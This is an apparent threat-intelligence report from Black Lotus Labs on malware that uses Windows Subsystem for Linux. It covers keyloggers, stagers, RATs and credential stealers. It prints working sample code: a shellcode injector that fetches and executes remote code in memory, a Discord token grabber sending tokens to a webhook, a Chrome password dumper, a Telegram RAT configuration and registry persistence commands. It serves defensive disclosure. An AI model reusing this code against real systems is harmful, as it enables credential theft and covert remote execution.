Executive Summary

Last fall, Black Lotus Labs discovered in the wild what had until then only been theorized: Linux binaries were being used as loaders in Windows Subsystem for Linux (WSL). Since our initial report, Black Lotus Labs continues to monitor the WSL attack surface for new developments. In the last few months, we have identified several different samples that indicate the capability is evolving. Custom developed and open-source tools (OSTs) have added functionality ranging from shellcode injection to keylogging and password stealing that could be used by actors to evade detection while gaining access into endpoints and computer networks. Given the demonstrated interest and the fact that even the samples with valid command and control (C2) infrastructure are evading general detection by AV providers, it is clear this newly proven type of attack remains one to be watched. In particular, because the types of users running WSL tend to have greater network privileges, organizations that utilize WSL as part of their day-to-day operations should take note to better bolster defenses.

Introduction

Since September 2021, as part of our proactive threat hunting process, Black Lotus Labs has been monitoring malware repositories for compiled ELF binaries that utilize either Windows API calls or file paths embedded in the executable. Because they were obtained through these repositories, the initial access vectors into the machines or networks are not yet known. As WSL requires domain administrative access to install, it is likely the targeted environments already had WSL loaded prior to the attacks.

Of the roughly 100 samples we've inspected over the last six months, we grouped a subset of the most noteworthy into two categories: the first group is comprised of custom developed tools and the second group consists of tools either taken completely from open-source frameworks or very lightly modified versions of open-source tools. By sharing how these samples work, how they persist and how they leverage C2 channels, we hope to keep the industry updated on the evolution of this attack vector and to aid in network-based detection, where possible. Some of the samples contained non-routable, or private IP addresses: we included them to showcase the techniques that are being developed for broader awareness.

Custom Modules

Several samples we analyzed were custom-built modules exhibiting a range of functionality that included keylogging, shellcode injection, a stager and even a cross-platform agent that worked in both Windows and Linux. The increase in custom modules suggests the WSL attack surface is a growing area of interest. While many of the samples did not yet appear to be fully functional due to the use of internal or non-routable IPs, they demonstrate attack methods that are actively being tested and refined.

"Keyjeek" Keylogger Utilizing Gmail

One of the payloads we analyzed was a keylogger written in Python that the developer named "Keyjeeklogger." This sample wrote the recorded keyboard and mouse events to a text file named "LogFile.txt." It then used hard-coded credentials for the email account nomotikag33n@gmail[.]com and a predefined password to transfer the LogFile.txt file to the actor. One function it displayed was the ability to edit a registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run), a common method used by threat actors to persist on an infected machine past reboot. This sample appeared to be the most developed of those in the custom modules and is likely active in the wild given its routable C2 mechanism. This sample had a detection rate of only 1/60 on VirusTotal when it was found.

Shellcode Injector

One of the samples we analyzed included a shellcode injector. This malware created a new thread to download shellcode from a remote resource such as a domain or IP address, and then execute the shellcode. While the sample we analyzed was only comprised of a stager with a non-routable IP address, it could easily be augmented to download a more sophisticated in-memory agent such as Cobalt Strike or a custom framework. The method of injecting the payload directly into memory can be elusive and complicate host-based detection since the agent is not written to disk.

```
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://127.0.0.1:8888/get_code?uuid=716c1eb
2-7d81-11ec-b072-52540054f5b1').read()
number = 4

for i in range(int(number)):
    shellcode = base64.b64decode(shellcode)

shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(she
llcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
```

Figure 1: Shellcode injector sample screenshot

Stub.py Stager

Among the samples we analyzed was a more traditional stager the actor named "stub.py." This sample launched a Python script using the bash terminal and reached out for a remote resource. If it was unable to retrieve the next payload, it went to sleep for one second and then tried again. To further evade detection, the next agent was downloaded as a Python file, rather than an executable. Once downloaded onto the infected host Python file decrypted the data using a hard-coded key, and the script changed the file extension from Python to an executable. It then copied the payload to the \Microsoft\Windows\Start Menu\Programs\Startup folder, granting persistence by initiating the executable whenever the machine was powered on. Lastly, it executed the payload via the command shell. This sample contained a non-routable IP address suggesting it is still in development.

Windows and Linux Cross-Platform "Lee" Agent

One malware sample that stood out from the rest contained logic to run on either Linux or WSL machines. This sample appeared to be the closest to a fully functional agent, with the ability to remotely upload and download files, as well as run arbitrary commands. However, as it did not contain a routable C2 mechanism, it appeared to still be in the development phase. Notably, it was the only sample Black Lotus Labs analyzed that was written in Python 2, whereas all the other samples were compiled in Python 3. Additionally, the Lee agent contained a PDB path from the developer's machine: /home/dirty/Desktop/lee/master/agent/d/agent.py.

This agent contained predefined logic to perform the following functions:

upload/download file	
zip	Compress the contents of a file or folder
persist	Adds persistence mechanism on the impacted machine
screenshot	Takes a screen shot of the display
run cmd	Runs arbitrary commands and send the output back to the C2
python	Runs a python script on the host machine
listall	Enumerates the current directory and writes it to `/tmp/list.txt`
exit	Ceases current connection
clean	Deletes the file and removes the persistence mechanisms
crack	Deletes the agent (runs the clean command), then exits

The Lee agent also had the ability to persist on Linux and Windows machines. In Linux machines it edited the AutoStart directory path: ~/.config/autostart/gedit.desktop.

In a Windows machine, it modified the run key in the Windows registry to add a task named "lee": reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v lee /t REG_SZ /d "%s".

Open-Source Tools and Modules

While we were evaluating samples, we found several agents that were largely based on OSTs found on websites like GitHub. OSTs offer tooling that minimizes the need for actors to develop their own, which can increase the cost. One interesting observation was that all of the OST-based samples also relied upon third-party services such as Discord and Telegram. We suspect that by using third-party network services and operating in a nebulous subsystem space, threat actors may be trying to evade some standard detection mechanisms.

DiscordRAT

One of the samples leveraged a project called DiscordRAT, a remote administration tool (RAT) that is controlled over Discord and contains more than 20 post-exploitation modules. This sample exhibited a range of functions that appear to have been copied straight from the tool, such as:

- Check if running as admin
- Execute arbitrary commands
- Upload/download files
- Take screenshots and access webcam
- Start/stop a keylogger
- Copy the contents of the clipboard
- Kill the current session with the RAT

This was one of the two fully functional RATs that we observed using WSL and signals that at least some actors are now capable of leveraging OSTs to execute a WSL-based attack. The detection rate of this sample on VirusTotal was 3/61.

Discord Token Grabber

Some of files that Black Lotus Labs detected performed more limited functions. The Discord token grabber module was designed to harvest authentication tokens saved to disk from various web browsers, including: Discord, Google Chrome, Opera, Brave and Yandex. The functionality and file paths correlate to the Discord Token Grabber GitHub project. Once the authentication token was obtained, it sent the information from the infected Windows device to an actor-controlled Discord account with a hard-coded Linux-based User-Agent string. This module had the highest detection rate of 9/62 when it was found on VirusTotal.

```
def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {'Discord':roaming + '\\Discord',
     'Discord Canary':roaming + '\\discordcanary',
     'Discord PTB':roaming + '\\discordptb',
     'Google Chrome':local + '\\Google\\Chrome\\User Data\\Default',
     'Opera':roaming + '\\Opera Software\\Opera Stable',
     'Brave':local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
     'Yandex':local + '\\Yandex\\YandexBrowser\\User Data\\Default'}
    message = '@everyone' if PING_ME else ''
    for platform, path in paths.items():
        if not os.path.exists(path):
            pass
        else:
            message += f"\n**{platform}**\n```\n"
            tokens = find_tokens(path)
            if len(tokens) > 0:
                for token in tokens:
                    message += f"{token}\n"

            else:
                message += 'No tokens found.\n'
            message += '```'
    else:
        headers = {'Content-Type':'application/json',
         'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/2
3.0.1271.64 Safari/537.11'}
        payload = json.dumps({'content': message})
        try:
            req = Request('https://discord.com/api/webhooks/905035303729913856/ChjsmKBa84_4T6QbUoNFDYH
XWB3VgLApCxdAaAd2BhZqAglzi1cadNZ74gKToJwzAPEA', data=(payload.encode()), headers=headers)
            urlopen(req)
```

Figure 2: Token grabber sample screenshot

Keylogger

We observed one module that communicated via Discord and functioned as a keylogger. This sample was different than the Keyjeek logger covered previously, as it would just send the data from the infected machine to the C2 via the URL: https[:]//discord[.]com/api/webhooks/928513925610352650/iC7G5SFTzUmf4qQYyzXIhTSuA0bBrsME6cWwBnxvV-qa3inFESh3F4iF6Nkq05crHn5J. With this method, the data was not written to disk, making it harder to detect from a host-based prospective. Like the other Discord modules, it had a detection rate of 9/62 when first discovered.

Telegram-Based Bot

Discord was not the only third-party service we observed being utilized for C2s. One RAT communicated via the Telegram API, which we suspect was used to better blend in with the target environment. This appeared to be a lightly modified version of Telegram-RAT. As with the other RATs, this GitHub project included the ability to run commands, upload/download files and retrieve stored credentials, among other functions. We extracted the "Rat.py" file which acts as the configuration file by identifying the Telegram token, designating the ChatID for C2, determining the task name and designating the location to place the trojan itself. The contents of that file can be found below:

—— # Token/ID TelegramToken = '2064338791:AAHUdTkYnC38Igw7Rrf9PWRRcZGS03-Bx0g' TelegramChatID = '1987910945'

#Haha # Run the script as administrator AdminRightsRequired = False

Disable Task Manager at first start DisableTaskManager = False # Disable Registry Editor at first start DisableRegistryTools = False\3 #HEEHEHEHEHRGREF # Process protection from termination and deletion ProcessBSODProtectionEnabled = True

#efrgGgrg # Add to startup at first start AutorunEnabled = True # Installation directory InstallPath = 'C:\\ProgramData\\' # Task name in Task Scheduler AutorunName = 'OneDrive Update' # The name of the process in the Task Manager ProcessName = 'System.exe' #fdgdfgeghhthth

Display a message at first start DisplayMessageBox = True # Your Message (will be displayed at start) Message = 'Done' #lolololololo #danksDFdsf # Directory for saving trojan temporary files Directory = 'C:\\Windows\\Temp\\Temp_data\\' ——

Password Dumper Module

One other sample that piqued our interest was named "dump-passwords.py." We assess that at least part of the code was based upon a Proof-of-Concept (PoC) to retrieve stored passwords. While this particular sample did not contain a mechanism for external communications, it allowed the threat actor to harvest stored credentials on the infected machine — in this case from the Chrome login database. These stored credentials could be used later to retrieve information or help the actor move laterally if the victim reused passwords. One benefit to this approach over the Discord token grabber is that this module had a detection rate of zero.

```
# [GCC 9.3.0]
# Embedded file name: dump-passwords.py
import argparse, sqlite3, sys
from Crypto.Cipher import AES

def decrypt_password(data, key):
    iv = data[3:15]
    ciphertext = data[15:]
    cipher = AES.new(key, AES.MODE_GCM, iv)
    plaintext = cipher.decrypt(ciphertext)
    password = plaintext[:-16].decode()
    return password


def main(db, key):
    conn = sqlite3.connect(db)
    cursor = conn.cursor()
    cursor.execute('SELECT signon_realm, username_value, password_value FROM logins WHERE blacklisted_
by_user = 0')
    for row in cursor.fetchall():
        password = decrypt_password(row[2], key)
        print(f"URL:\t\t{row[0]}")
        print(f"Username:\t{row[1]}")
        print(f"Password:\t{password}")
        print('')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--db', required=True, metavar='<path>', help='Chrome login database')
    parser.add_argument('--key', required=True, metavar='<key>', help='Encryption key')
    args = parser.parse_args()
    main(args.db, bytes.fromhex(args.key))
```

Figure 3: Password dumper sample screenshot

Conclusion

Threat actors are continuing to take advantage of the blurring boundaries between operating systems by developing this new class of WSL-based attack. If your corporate environment uses WSL, we recommend that you enable system monitoring (Sysmon) tools to help audit commands run via the WSL terminal. To learn more about how to monitor a Windows system with WSL installed for indicators of malicious activity, read this SANS whitepaper.

Black Lotus Labs will continue to follow the WSL attack surface to detect similar campaigns. As new and potent samples become available, we will continue to alert the information security community to these developments. We encourage other organizations to alert on this and similar activity in their environments.

For additional IOCs such as file hashes associated with these campaigns, please visit our GitHub page.

If you would like to collaborate on similar research, please contact us on Twitter @BlackLotusLabs.

This analysis was performed by Danny Adamitis and Steve Rudd.

Related posts:

1. Emotet Redux
2. Ismdoor Malware Continues to Make use of DNS Tunneling
3. A Look Inside The TrickBot Botnet
4. The Reemergence of Ransom-based Distributed Denial of Service (RDDoS) Attacks